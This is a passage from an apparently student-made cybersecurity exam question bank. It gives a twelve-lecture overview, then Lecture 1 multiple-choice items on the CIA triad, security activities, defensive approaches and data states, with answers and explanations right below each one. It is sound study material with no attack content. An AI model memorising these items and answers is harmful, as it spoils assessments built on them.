

Cybersecurity MCQ Question Bank

Cleaned combined exam-style revision PDF - Lectures 1 to 12

Combined total: 3008 exam-style MCQs with immediate answers and concise explanations.

Lectures 1-6

Lecture 1: 304 questions - cybersecurity foundations, the CIA triad, attack surface, ethics, practical tool purposes, VirtualBox networking, and Linux basics.

Lecture 2: 357 questions - vulnerability assessment, reconnaissance, network discovery, Nmap scanning and flags, scanning tools, phishing, and a Metasploit preview.

Lecture 3: 289 questions - penetration testing, socket and DNS utilities, Netcat, Metasploit workflow, lab case studies, post-exploitation concepts, and MSFvenom.

Lecture 4: 202 questions - firewalls, ACL reasoning, gateways, DMZs, VPNs, IDS and IPS, honeypots, and incident response.

Lecture 5: 168 questions - malware, ransomware, Trojans, spyware, rootkits, antivirus methods, database basics, SQL injection, and secure coding.

Lecture 6: 194 questions - DoS and DDoS attacks, SYN-flood defenses, layered mitigation, botnets, Slowloris, brute force, and IoT hardening.

Lectures 7-12

Lecture 7: 199 questions - social engineering, OSINT, pretexts, phishing, spoofing, URL analysis, filtering, detection, simulations, and reporting culture.

Lecture 8: 223 questions - threat modeling, diagrams, DFD elements, trust boundaries, STRIDE, attack trees, DREAD, validation, and lifecycle updates.

Lecture 9: 245 questions - cryptographic goals, symmetric and public-key encryption, DES, AES, OTP and XOR, ChaCha20-Poly1305, RSA, ElGamal, CMAC, and deployment reasoning.

Lecture 10: 264 questions - multi-party computation, protected service architectures, result leakage, Boolean and additive sharing, secure XOR and AND, Beaver triples, and standardization.

Lecture 11: 303 questions - privacy, data protection, GDPR, privacy-by-design, pseudonymization, anonymization, data-subject rights, architecture, and documentation.

Lecture 12: 260 questions - Kubernetes threat modeling, architecture, trust boundaries, attack trees, compromised-container paths, persistence, security features, hardening, and defensive tools.

Exam-style cleanup: slide-position questions, list-membership trivia, administrative facts, lecturer details, screenshot-specific questions, auction or movie trivia, and repeated filler variants are excluded. Applied calculations, scenarios, and technically useful interpretation questions remain.

Lecture 1 - Cybersecurity foundations and lab concepts

Cleaned exam-style MCQ question bank

304 questions. The correct answer and a concise explanation appear directly below every item.

Cleanup rule: questions test cybersecurity concepts, command interpretation, and applied scenarios. Administrative facts, screenshot trivia, slide-position questions, and category-membership questions were removed.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Cybersecurity foundations and motivation	27
2. Common security failures and defensive approaches	26
3. Protected assets and the CIA triad	40
4. Attack surface and access to the target	33
5. Core terminology and security process	34
6. Standards, legal topics, and professional ethics	16
7. Practical tool-purpose questions	10
8. Lab setup and VirtualBox networking	28
9. Kali Linux setup, updates, and basic Linux commands	31
10. Mixed exam-style variants and cumulative review	59
Total	304

Searchable quick reference

Item	Meaning
Confidentiality	Prevent unauthorized disclosure
Integrity	Prevent unauthorized modification
Availability	Ensure authorized access when needed
Attack surface	All reachable points where an attacker may enter, interact with, or extract data
Host-only networking	Host and VM communication without Internet access
Internal networking	VM-to-VM communication without host or Internet access
Bridged networking	VM acts as a node on the local network
NAT	Outbound access; inbound access through port forwarding
NAT Network	NAT-style outbound access plus VM-to-VM communication
pwd	Print working directory
ip a	Display IP-address information
sudo apt update	Refresh package metadata

1. Cybersecurity foundations and motivation

27 questions. Answers appear immediately below each item.

Q001 | Single answer

Which description best matches cybersecurity?

- A. A procedure used only after a breach has already occurred.
- B. A field concerned exclusively with protecting physical buildings.
- C. A single software product that blocks every cyberattack.
- D. The body of technologies, processes, and practices designed to protect digital assets from attack, damage, or unauthorized access.

Answer: D. The body of technologies, processes, and practices designed to protect digital assets from attack, damage, or unauthorized access.

Why: Cybersecurity is broader than one tool. It includes technologies, processes, and practices.

Source page reference: pp. 22-23

Q002 | Single answer

Which set contains the three core security properties in the CIA triad?

- A. Confidentiality, integrity, and availability
- B. Identification, indexing, and archiving
- C. Speed, convenience, and scalability
- D. Privacy, anonymity, and profitability

Answer: A. Confidentiality, integrity, and availability

Why: The lecture presents confidentiality, integrity, and availability as the central security properties.

Source page reference: p. 23

Q003 | Select all that apply

Which information states are within the scope of cybersecurity protection? Select all that apply.

- A. Data being processed
- B. Data being stored
- C. Data being communicated or in transit
- D. Only data that has been printed on paper
- E. Only information located outside a network

Answer: A, B, C

Why: The lecture explicitly includes information being processed, stored, and communicated.

Source page reference: pp. 22-23

Q004 | Single answer

Which asset is emphasized as especially important to protect?

- A. Networks
- B. Programs
- C. Systems and devices
- D. Data

Answer: D. Data

Why: Networks, systems, devices, and programs matter, but the lecture emphasizes data as the most important asset.

Source page reference: p. 25

Q005 | Select all that apply

Which assets should a cybersecurity program protect? Select all that apply.

- A. Networks
- B. Systems and devices
- C. Programs and source code
- D. Data
- E. Only Internet-facing servers

Answer: A, B, C, D

Why: The protection scope includes networks, connected systems and devices, programs or source code, and data.

Source page reference: p. 25

Q006 | Select all that apply

Against which actions should digital assets be protected? Select all that apply.

- A. Unauthorized access
- B. Unauthorized modification
- C. Unauthorized deletion
- D. Authorized maintenance
- E. Documented backups

Answer: A, B, C

Why: Lecture 1 explicitly identifies unauthorized access, modification, and deletion.

Source page reference: p. 25

Q007 | Select all that apply

Which trends increase cybersecurity risk? Select all that apply.

- A. Increasing information sharing
- B. Increasing interconnectedness
- C. Increasing vulnerabilities and exploits
- D. Decreasing reliance on digital systems
- E. Elimination of cyberattacks

Answer: A, B, C

Why: Information sharing, interconnectedness, and vulnerabilities or exploits are all increasing, contributing to increased attacks.

Source page reference: p. 24

Q008 | Scenario

A company connects more systems to partners, cloud services, and mobile devices. Which concept best explains why its exposure may grow?

- A. Increasing interconnectedness
- B. Reduced information sharing
- C. Elimination of exploits
- D. Guaranteed confidentiality

Answer: A. Increasing interconnectedness

Why: More interconnections create more paths and dependencies that may be exposed.

Source page reference: pp. 19, 24

Q009 | Single answer

From a software-engineering perspective, the cybersecurity crisis is fundamentally a failure of what?

- A. Architecture
- B. Virtualization
- C. Compression
- D. Marketing

Answer: A. Architecture

Why: The lecture states that the cybersecurity crisis is a fundamental failure of architecture.

Source page reference: p. 18

Q010 | Single answer

When should security be considered to reduce architectural weaknesses?

- A. Only when purchasing hardware
- B. During early software design
- C. Only after deployment
- D. Only after a successful attack

Answer: B. During early software design

Why: The lecture stresses that security should be considered early in software design.

Source page reference: p. 18

Q011 | Definition recognition

Which cybersecurity activity is best described as: "Finding weaknesses"?

- A. Security monitoring
- B. Vulnerability assessment
- C. Penetration testing
- D. Threat modelling

Answer: B. Vulnerability assessment

Why: Vulnerability assessment is defined in the lecture as finding weaknesses.

Source page reference: p. 21

Q012 | Reverse definition

What is the primary purpose of Vulnerability assessment?

- A. Ethical hacking to find exploitable weaknesses
- B. Finding weaknesses
- C. Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems
- D. Understanding what can go wrong, how it can be attacked, and what to do about it

Answer: B. Finding weaknesses

Why: The lecture associates Vulnerability assessment with finding weaknesses.

Source page reference: p. 21

Q013 | Definition recognition

Which cybersecurity activity is best described as: "Ethical hacking to find exploitable weaknesses"?

- A. Security monitoring
- B. Penetration testing
- C. Threat modelling
- D. Vulnerability assessment

Answer: B. Penetration testing

Why: Penetration testing is defined in the lecture as ethical hacking to find exploitable weaknesses.

Source page reference: p. 21

Q014 | Reverse definition

What is the primary purpose of Penetration testing?

- A. Understanding what can go wrong, how it can be attacked, and what to do about it
- B. Finding weaknesses
- C. Ethical hacking to find exploitable weaknesses
- D. Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems

Answer: C. Ethical hacking to find exploitable weaknesses

Why: The lecture associates Penetration testing with ethical hacking to find exploitable weaknesses.

Source page reference: p. 21

Q015 | Definition recognition

Which cybersecurity activity is best described as: "Understanding what can go wrong, how it can be attacked, and what to do about it"?

- A. Threat modelling
- B. Penetration testing
- C. Security monitoring
- D. Vulnerability assessment

Answer: A. Threat modelling

Why: Threat modelling is defined in the lecture as understanding what can go wrong, how it can be attacked, and what to do about it.

Source page reference: p. 21

Q016 | Reverse definition

What is the primary purpose of Threat modelling?

- A. Understanding what can go wrong, how it can be attacked, and what to do about it
- B. Ethical hacking to find exploitable weaknesses
- C. Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems
- D. Finding weaknesses

Answer: A. Understanding what can go wrong, how it can be attacked, and what to do about it

Why: The lecture associates Threat modelling with understanding what can go wrong, how it can be attacked, and what to do about it.

Source page reference: p. 21

Q017 | Definition recognition

Which cybersecurity activity is best described as: "Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems"?

- A. Threat modelling
- B. Vulnerability assessment
- C. Security monitoring
- D. Penetration testing

Answer: C. Security monitoring

Why: Security monitoring is defined in the lecture as using mechanisms such as siem, firewalls, intrusion detection, and intrusion prevention to observe and protect systems.

Source page reference: p. 21

Q018 | Reverse definition

What is the primary purpose of Security monitoring?

- A. Finding weaknesses
- B. Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems
- C. Ethical hacking to find exploitable weaknesses
- D. Understanding what can go wrong, how it can be attacked, and what to do about it

Answer: B. Using mechanisms such as SIEM, firewalls, intrusion detection, and intrusion prevention to observe and protect systems

Why: The lecture associates Security monitoring with using mechanisms such as siem, firewalls, intrusion detection, and intrusion prevention to observe and protect systems.

Source page reference: p. 21

Q019 | Definition recognition

Which cybersecurity activity is best described as: "Handling breaches when they occur"?

- A. Threat modelling
- B. Incident response
- C. Vulnerability assessment
- D. Penetration testing

Answer: B. Incident response

Why: Incident response is defined in the lecture as handling breaches when they occur.

Source page reference: p. 21

Q020 | Reverse definition

What is the primary purpose of Incident response?

- A. Handling breaches when they occur
- B. Ethical hacking to find exploitable weaknesses
- C. Understanding what can go wrong, how it can be attacked, and what to do about it
- D. Finding weaknesses

Answer: A. Handling breaches when they occur

Why: The lecture associates Incident response with handling breaches when they occur.

Source page reference: p. 21

Q021 | Definition recognition

Which cybersecurity activity is best described as: "Improving system security through measures such as two-factor authentication, patches, and updates"?

- A. Threat modelling
- B. Vulnerability assessment
- C. Hardening
- D. Penetration testing

Answer: C. Hardening

Why: Hardening is defined in the lecture as improving system security through measures such as two-factor authentication, patches, and updates.

Source page reference: p. 21

Q022 | Reverse definition

What is the primary purpose of Hardening?

- A. Ethical hacking to find exploitable weaknesses
- B. Finding weaknesses
- C. Improving system security through measures such as two-factor authentication, patches, and updates
- D. Understanding what can go wrong, how it can be attacked, and what to do about it

Answer: C. Improving system security through measures such as two-factor authentication, patches, and updates

Why: The lecture associates Hardening with improving system security through measures such as two-factor authentication, patches, and updates.

Source page reference: p. 21

Q023 | Scenario

A team ethically attempts to demonstrate which known weaknesses can actually be exploited. Which activity is it performing?

- A. Vulnerability assessment
- B. Incident response
- C. Penetration testing
- D. Hardening

Answer: C. Penetration testing

Why: Penetration testing is ethical hacking focused on exploitable weaknesses.

Source page reference: p. 21

Q024 | Scenario

A team installs patches, applies updates, and enables two-factor authentication. Which activity is this?

- A. Incident response
- B. Hardening
- C. Threat modelling
- D. Vulnerability assessment

Answer: B. Hardening

Why: These are explicit examples of improving system security through hardening.

Source page reference: p. 21

Q025 | Scenario

A team asks what can go wrong, how an attacker could exploit it, and what should be done about it. Which activity best fits?

- A. Hardening
- B. Security monitoring
- C. Incident response
- D. Threat modelling

Answer: D. Threat modelling

Why: Those questions are the lecture definition of threat modelling.

Source page reference: p. 21

Q026 | Scenario

A breach has already happened and a team is coordinating containment and recovery. Which activity is most directly relevant?

- A. Incident response
- B. Penetration testing
- C. Threat modelling
- D. Vulnerability assessment

Answer: A. Incident response

Why: Incident response is concerned with handling breaches when they occur.

Source page reference: p. 21

Q027 | Select all that apply

Which mechanisms are commonly associated with security monitoring?? Select all that apply.

- A. SIEM
- B. Firewalls
- C. Intrusion detection
- D. Intrusion prevention
- E. Keyboard-layout reconfiguration

Answer: A, B, C, D

Why: The lecture explicitly groups SIEM, firewalls, intrusion detection, and intrusion prevention under security monitoring.

Source page reference: p. 21

2. Common security failures and defensive approaches

26 questions. Answers appear immediately below each item.

Q028 | Classification

A coding or firmware defect creates an unintended weakness. Which source of security problems does this illustrate?

- A. Simple bugs in software and firmware
- B. System complexity and interconnectedness
- C. Misconfiguration across systems and services
- D. Human factors

Answer: A. Simple bugs in software and firmware

Why: This is an example of simple bugs in software and firmware.

Source page reference: p. 19

Q029 | Classification

A secure capability exists, but it has been configured incorrectly. Which source of security problems does this illustrate?

- A. Simple bugs in software and firmware
- B. System complexity and interconnectedness
- C. Misconfiguration across systems and services
- D. Human factors

Answer: C. Misconfiguration across systems and services

Why: This is an example of misconfiguration across systems and services.

Source page reference: p. 19

Q030 | Classification

Unexpected side effects arise from dependencies and interactions. Which source of security problems does this illustrate?

- A. System complexity and interconnectedness
- B. Simple bugs in software and firmware
- C. Misconfiguration across systems and services
- D. Human factors

Answer: A. System complexity and interconnectedness

Why: This is an example of system complexity and interconnectedness.

Source page reference: p. 19

Q031 | Classification

Security is affected by unintentional errors or malicious human actions. Which source of security problems does this illustrate?

- A. Misconfiguration across systems and services
- B. Human factors
- C. System complexity and interconnectedness
- D. Simple bugs in software and firmware

Answer: B. Human factors

Why: This is an example of human factors.

Source page reference: p. 19

Q032 | Select all that apply

Which factors can create security problems? Select all that apply.

- A. Bugs in software and firmware
- B. Misconfiguration across systems and services
- C. Side effects caused by system complexity
- D. Human factors
- E. A guarantee that every system is isolated

Answer: A, B, C, D

Why: Lecture 1 lists software or firmware bugs, misconfiguration, complexity, and human factors.

Source page reference: p. 19

Q033 | Single answer

Which statement about security issues is correct?

- A. Security issues are always accidental.
- B. Only hardware faults create security issues.
- C. Security issues are always malicious.
- D. Many security issues can be accidental or intentional.

Answer: D. Many security issues can be accidental or intentional.

Why: The lecture emphasizes that security issues can arise accidentally or intentionally.

Source page reference: p. 19

Q034 | Scenario

An administrator accidentally exposes a service by applying the wrong configuration. What is the most direct cause?

- A. A cryptographic signature
- B. A backup strategy
- C. Misconfiguration across systems and services
- D. A secure-by-design principle

Answer: C. Misconfiguration across systems and services

Why: The security issue results from incorrect configuration.

Source page reference: p. 19

Q035 | Scenario

A new integration causes an unforeseen security side effect even though each component seemed reasonable in isolation. Which cause is most relevant?

- A. An exploit database
- B. System complexity and interconnectedness
- C. Physical theft only
- D. A patch

Answer: B. System complexity and interconnectedness

Why: Complex interconnected systems can produce unintended side effects.

Source page reference: p. 19

Q036 | Scenario

An employee unintentionally sends sensitive data to the wrong recipient. Which source of security problems is involved?

- A. Human factors
- B. A firewall rule
- C. Defense-in-depth
- D. A secure protocol

Answer: A. Human factors

Why: Human factors include unintentional errors as well as malicious actions.

Source page reference: p. 19

Q037 | Definition recognition

Which defensive approach best matches this description: Establishing agreed security guidance and organizational rules?

- A. Best practices and security policies
- B. Checks for known bad patterns
- C. Defense-in-depth
- D. Secure-by-design principles

Answer: A. Best practices and security policies

Why: The description matches best practices and security policies.

Source page reference: p. 20

Q038 | Definition recognition

Which defensive approach best matches this description: Looking for recognized insecure patterns?

- A. Best practices and security policies
- B. Checks for known bad patterns
- C. Secure-by-design principles
- D. Defense-in-depth

Answer: B. Checks for known bad patterns

Why: The description matches checks for known bad patterns.

Source page reference: p. 20

Q039 | Definition recognition

Which defensive approach best matches this description: Using multiple protective layers rather than relying on one control?

- A. Defense-in-depth
- B. Secure-by-design principles
- C. Checks for known bad patterns
- D. Best practices and security policies

Answer: A. Defense-in-depth

Why: The description matches defense-in-depth.

Source page reference: p. 20

Q040 | Definition recognition

Which defensive approach best matches this description: Building security into design decisions from the beginning?

- A. Checks for known bad patterns
- B. Secure-by-design principles
- C. Defense-in-depth
- D. Best practices and security policies

Answer: B. Secure-by-design principles

Why: The description matches secure-by-design principles.

Source page reference: p. 20

Q041 | Definition recognition

Which defensive approach best matches this description: Helping people recognize and avoid security mistakes or attacks?

- A. Best practices and security policies
- B. Checks for known bad patterns
- C. Training and awareness
- D. Defense-in-depth

Answer: C. Training and awareness

Why: The description matches training and awareness.

Source page reference: p. 20

Q042 | Definition recognition

Which defensive approach best matches this description: Improving security capability over time as threats and systems evolve?

- A. Best practices and security policies
- B. Checks for known bad patterns
- C. Experience and continuous learning
- D. Defense-in-depth

Answer: C. Experience and continuous learning

Why: The description matches experience and continuous learning.

Source page reference: p. 20

Q043 | Select all that apply

Which approaches can counter security issues? Select all that apply.

- A. Best practices and security policies
- B. Checks for known bad patterns
- C. Defense-in-depth
- D. Secure-by-design principles
- E. Training and awareness
- F. Experience and continuous learning

Answer: A, B, C, D, E, F

Why: All six approaches appear in the lecture.

Source page reference: p. 20

Q044 | Scenario

A company uses several independent safeguards so that one failed control does not leave the entire system exposed. Which principle is illustrated?

- A. Defense-in-depth
- B. Direct access
- C. Internal networking
- D. Single point of failure

Answer: A. Defense-in-depth

Why: Defense-in-depth means using layers of protection.

Source page reference: p. 20

Q045 | Scenario

A product team includes security requirements while designing the architecture instead of adding them only after deployment. Which approach is illustrated?

- A. Secure-by-design principles
- B. Incident response only
- C. Password reuse
- D. Port forwarding

Answer: A. Secure-by-design principles

Why: Secure-by-design integrates security early in the design process.

Source page reference: pp. 18, 20

Q046 | Assertion-reason

Assertion: Security should be considered during early software design.

Reason: Retrofitting security after architectural decisions have been made may leave fundamental weaknesses unresolved.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The lecture emphasizes early design because security failures can be architectural.

Source page reference: p. 18

Q047 | Technology review

Which technology area is associated with the following security considerations: Transmission security through secure protocols and access control?

- A. Storage
- B. Networks
- C. Mobile devices
- D. Desktop devices

Answer: B. Networks

Why: The lecture associates these considerations with networks.

Source page reference: p. 28

Q048 | Technology review

Which technology area is associated with the following security considerations: OS fragmentation, timely security updates, and licensed software?

- A. Networks
- B. Storage
- C. Mobile devices
- D. Desktop devices

Answer: D. Desktop devices

Why: The lecture associates these considerations with desktop devices.

Source page reference: p. 28

Q049 | Technology review

Which technology area is associated with the following security considerations: OS fragmentation, outdated hardware without security support, and use of devices in a secure environment?

- A. Networks
- B. Storage
- C. Mobile devices
- D. Desktop devices

Answer: C. Mobile devices

Why: The lecture associates these considerations with mobile devices.

Source page reference: p. 28

Q050 | Technology review

Which technology area is associated with the following security considerations: Localized versus mobile storage, encryption, and biometrics?

- A. Mobile devices
- B. Desktop devices
- C. Networks
- D. Storage

Answer: D. Storage

Why: The lecture associates these considerations with storage.

Source page reference: p. 28

Q051 | Select all that apply

Which considerations are associated with desktop-device security? Select all that apply.

- A. OS fragmentation
- B. Timely security updates
- C. Licensed software
- D. Packet forwarding as the only concern
- E. Ignoring outdated components

Answer: A, B, C

Why: Desktop-device security includes fragmentation, updates, and licensed software.

Source page reference: p. 28

Q052 | *Select all that apply*

Which considerations are associated with mobile-device security? Select all that apply.

- A. OS fragmentation
- B. Outdated hardware without security support
- C. Use of devices in a secure environment
- D. Disabling every update permanently
- E. Treating physical conditions as irrelevant

Answer: A, B, C

Why: The lecture highlights fragmentation, unsupported hardware, and the environment in which user devices are used.

Source page reference: p. 28

Q053 | *Scenario*

A security review asks whether stored information is encrypted and whether biometric protection is used. Which technology area is being reviewed?

- A. Intrusion detection
- B. Networks
- C. Desktop devices
- D. Storage

Answer: D. Storage

Why: Encryption and biometrics are storage-related considerations in the lecture.

Source page reference: p. 28

3. Protected assets and the CIA triad

40 questions. Answers appear immediately below each item.

Q054 | Definition recognition

Which CIA-triad property means: Preventing disclosure of information to unauthorized parties?

- A. Confidentiality
- B. Integrity
- C. Availability
- D. Authentication

Answer: A. Confidentiality

Why: This is the lecture definition of confidentiality.

Source page reference: p. 26

Q055 | Reverse definition

Which statement best describes Confidentiality?

- A. Ensuring authorized parties can access information when needed
- B. Finding every weakness before deployment
- C. Preventing disclosure of information to unauthorized parties
- D. Protecting information from unauthorized modification

Answer: C. Preventing disclosure of information to unauthorized parties

Why: Confidentiality is concerned with preventing disclosure of information to unauthorized parties.

Source page reference: p. 26

Q056 | Definition recognition

Which CIA-triad property means: Protecting information from unauthorized modification?

- A. Confidentiality
- B. Availability
- C. Authentication
- D. Integrity

Answer: D. Integrity

Why: This is the lecture definition of integrity.

Source page reference: p. 26

Q057 | Reverse definition

Which statement best describes Integrity?

- A. Finding every weakness before deployment
- B. Preventing disclosure of information to unauthorized parties
- C. Protecting information from unauthorized modification
- D. Ensuring authorized parties can access information when needed

Answer: C. Protecting information from unauthorized modification

Why: Integrity is concerned with protecting information from unauthorized modification.

Source page reference: p. 26

Q058 | Definition recognition

Which CIA-triad property means: Ensuring authorized parties can access information when needed?

- A. Availability
- B. Integrity
- C. Confidentiality
- D. Authentication

Answer: A. Availability

Why: This is the lecture definition of availability.

Source page reference: p. 26

Q059 | Reverse definition

Which statement best describes Availability?

- A. Protecting information from unauthorized modification
- B. Preventing disclosure of information to unauthorized parties
- C. Finding every weakness before deployment
- D. Ensuring authorized parties can access information when needed

Answer: D. Ensuring authorized parties can access information when needed

Why: Availability is concerned with ensuring authorized parties can access information when needed.

Source page reference: p. 26

Q060 | Control classification

Which CIA-triad goal is most directly supported by encryption?

- A. Integrity
- B. Confidentiality
- C. Availability
- D. Attack-surface expansion

Answer: B. Confidentiality

Why: The lecture lists encryption as an example supporting confidentiality.

Source page reference: p. 27

Q061 | Control classification

Which CIA-triad goal is most directly supported by access control?

- A. Integrity
- B. Attack-surface expansion
- C. Confidentiality
- D. Availability

Answer: C. Confidentiality

Why: The lecture lists access control as an example supporting confidentiality.

Source page reference: p. 27

Q062 | Control classification

Which CIA-triad goal is most directly supported by signatures?

- A. Attack-surface expansion
- B. Availability
- C. Confidentiality
- D. Integrity

Answer: D. Integrity

Why: The lecture lists signatures as an example supporting integrity.

Source page reference: p. 27

Q063 | Control classification

Which CIA-triad goal is most directly supported by checksums?

- A. Attack-surface expansion
- B. Integrity
- C. Confidentiality
- D. Availability

Answer: B. Integrity

Why: The lecture lists checksums as an example supporting integrity.

Source page reference: p. 27

Q064 | Control classification

Which CIA-triad goal is most directly supported by computational redundancies?

- A. Availability
- B. Confidentiality
- C. Attack-surface expansion
- D. Integrity

Answer: A. Availability

Why: The lecture lists computational redundancies as an example supporting availability.

Source page reference: p. 27

Q065 | Control classification

Which CIA-triad goal is most directly supported by backups?

- A. Integrity
- B. Availability
- C. Confidentiality
- D. Attack-surface expansion

Answer: B. Availability

Why: The lecture lists backups as an example supporting availability.

Source page reference: p. 27

Q066 | Scenario

A confidential salary file is read by an employee without permission. Which CIA-triad goal is most directly affected?

- A. Availability
- B. Integrity
- C. Virtualization
- D. Confidentiality

Answer: D. Confidentiality

Why: The primary problem is unauthorized disclosure.

Source page reference: pp. 26-27

Q067 | Scenario

An attacker changes a stored bank-account number in a payment record. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Availability
- C. Integrity
- D. Confidentiality

Answer: C. Integrity

Why: The primary problem is unauthorized modification.

Source page reference: pp. 26-27

Q068 | Scenario

Authorized doctors cannot open patient records during an outage. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Integrity
- C. Confidentiality
- D. Availability

Answer: D. Availability

Why: Authorized users cannot access information when needed.

Source page reference: pp. 26-27

Q069 | Scenario

A private document is accidentally emailed to an external recipient. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Integrity
- C. Availability
- D. Confidentiality

Answer: D. Confidentiality

Why: Sensitive information has been disclosed to an unauthorized party.

Source page reference: pp. 26-27

Q070 | Scenario

Malware silently edits configuration files. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Availability
- C. Confidentiality
- D. Integrity

Answer: D. Integrity

Why: Files have been modified without authorization.

Source page reference: pp. 26-27

Q071 | Scenario

A service is overwhelmed so legitimate customers cannot use it. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Integrity
- C. Confidentiality
- D. Availability

Answer: D. Availability

Why: Authorized access is prevented when needed.

Source page reference: pp. 26-27

Q072 | Scenario

A database backup is maintained so service can be restored after failure. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Availability
- C. Confidentiality
- D. Integrity

Answer: B. Availability

Why: Backups are an availability measure.

Source page reference: pp. 26-27

Q073 | Scenario

A checksum is used to detect an unexpected file change. Which CIA-triad goal is most directly affected?

- A. Integrity
- B. Confidentiality
- C. Availability
- D. Virtualization

Answer: A. Integrity

Why: Checksums support detection of unauthorized modification.

Source page reference: pp. 26-27

Q074 | Scenario

A file is encrypted so an unauthorized reader cannot understand it. Which CIA-triad goal is most directly affected?

- A. Integrity
- B. Confidentiality
- C. Availability
- D. Virtualization

Answer: B. Confidentiality

Why: Encryption helps prevent unauthorized disclosure.

Source page reference: pp. 26-27

Q075 | Scenario

A digital signature is verified before accepting a software package. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Confidentiality
- C. Integrity
- D. Availability

Answer: C. Integrity

Why: Signatures support confidence that content was not modified.

Source page reference: pp. 26-27

Q076 | Scenario

Only approved users may open a protected directory. Which CIA-triad goal is most directly affected?

- A. Confidentiality
- B. Integrity
- C. Virtualization
- D. Availability

Answer: A. Confidentiality

Why: Access control helps limit disclosure to authorized users.

Source page reference: pp. 26-27

Q077 | Scenario

A redundant server takes over when the main server fails. Which CIA-triad goal is most directly affected?

- A. Confidentiality
- B. Virtualization
- C. Integrity
- D. Availability

Answer: D. Availability

Why: Redundancy helps authorized users retain access.

Source page reference: pp. 26-27

Q078 | Scenario

An attacker deletes records needed by an organization. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Integrity
- C. Confidentiality
- D. Availability

Answer: D. Availability

Why: Deletion can make information unavailable; integrity may also be affected, but the scenario emphasizes loss of access.

Source page reference: pp. 26-27

Q079 | Scenario

An intruder reads network traffic containing unencrypted credentials. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Confidentiality
- C. Integrity
- D. Availability

Answer: B. Confidentiality

Why: The exposed information is disclosed to an unauthorized party.

Source page reference: pp. 26-27

Q080 | Scenario

An attacker alters a software binary before deployment. Which CIA-triad goal is most directly affected?

- A. Virtualization
- B. Confidentiality
- C. Integrity
- D. Availability

Answer: C. Integrity

Why: The binary has been modified without authorization.

Source page reference: pp. 26-27

Q081 | Select all that apply

A ransomware incident prevents users from accessing data and may also modify files. Which CIA-triad goals can be affected? Select all that apply.

- A. Availability
- B. Integrity
- C. Confidentiality if data is also exposed
- D. None of the CIA goals
- E. Only network speed

Answer: A, B, C

Why: A single incident can affect more than one CIA property. Ransomware commonly threatens availability and integrity, and exposure can also threaten confidentiality.

Source page reference: pp. 24, 26-27

Q082 | Select all that apply

Which statements about the CIA triad are correct? Select all that apply.

- A. Confidentiality concerns unauthorized disclosure.
- B. Integrity concerns unauthorized modification.
- C. Availability concerns access for authorized parties when needed.
- D. Each incident can affect only one CIA property.
- E. Backups can support availability.

Answer: A, B, C, E

Why: The CIA properties are distinct goals, but one incident can affect several of them.

Source page reference: pp. 26-27

Q083 | Assertion-reason

Assertion: Backups are relevant to availability.

Reason: Backups can help restore information or services after data loss or failure.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The lecture lists backups as an availability measure.

Source page reference: p. 27

Q084 | Assertion-reason

Assertion: Checksums are primarily used as an integrity control.

Reason: A checksum can help reveal whether content has changed unexpectedly.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The lecture associates checksums with integrity.

Source page reference: p. 27

Q085 | Asset classification

Which protection target best matches this description: All networks that interconnect digital assets?

- A. Networks
- B. Data
- C. Systems and devices
- D. Programs

Answer: A. Networks

Why: The lecture associates this description with networks.

Source page reference: p. 25

Q086 | Asset classification

Which protection target best matches this description: All systems and devices connected to networks?

- A. Systems and devices
- B. Networks
- C. Data
- D. Programs

Answer: A. Systems and devices

Why: The lecture associates this description with systems and devices.

Source page reference: p. 25

Q087 | Asset classification

Which protection target best matches this description: Programs or source code that build systems connected to networks?

- A. Data
- B. Systems and devices
- C. Programs
- D. Networks

Answer: C. Programs

Why: The lecture associates this description with programs.

Source page reference: p. 25

Q088 | Asset classification

Which protection target best matches this description: Information in transit, at rest, or being processed?

- A. Systems and devices
- B. Programs
- C. Data
- D. Networks

Answer: C. Data

Why: The lecture associates this description with data.

Source page reference: p. 25

Q089 | EXCEPT / NOT

All of the following are data states requiring protection EXCEPT:

- A. Data in transit
- B. Data being processed
- C. Only data that is publicly advertised
- D. Data at rest

Answer: C. Only data that is publicly advertised

Why: The lecture covers data in transit, at rest, and being processed; public advertisement is not a protected-state category.

Source page reference: pp. 22, 25

Q090 | Scenario

Source code for a network-connected application is being reviewed as an asset. Which protection category does it belong to?

- A. Data only
- B. Networks only
- C. Systems and devices only
- D. Programs

Answer: D. Programs

Why: The lecture explicitly includes programs and source code as assets to protect.

Source page reference: p. 25

Q091 | Scenario

A security team protects information while it is moving between systems. Which data state is involved?

- A. Only printed data
- B. Data being deleted intentionally
- C. Data at rest
- D. Data in transit

Answer: D. Data in transit

Why: The lecture explicitly includes data in transit.

Source page reference: pp. 22, 25

Q092 | Scenario

A database stored on disk is protected against unauthorized access. Which data state is involved?

- A. Data in transit
- B. Data at rest
- C. An attack vector
- D. Only data in a CPU register

Answer: B. Data at rest

Why: Stored data is data at rest.

Source page reference: pp. 22, 25

Q093 | Scenario

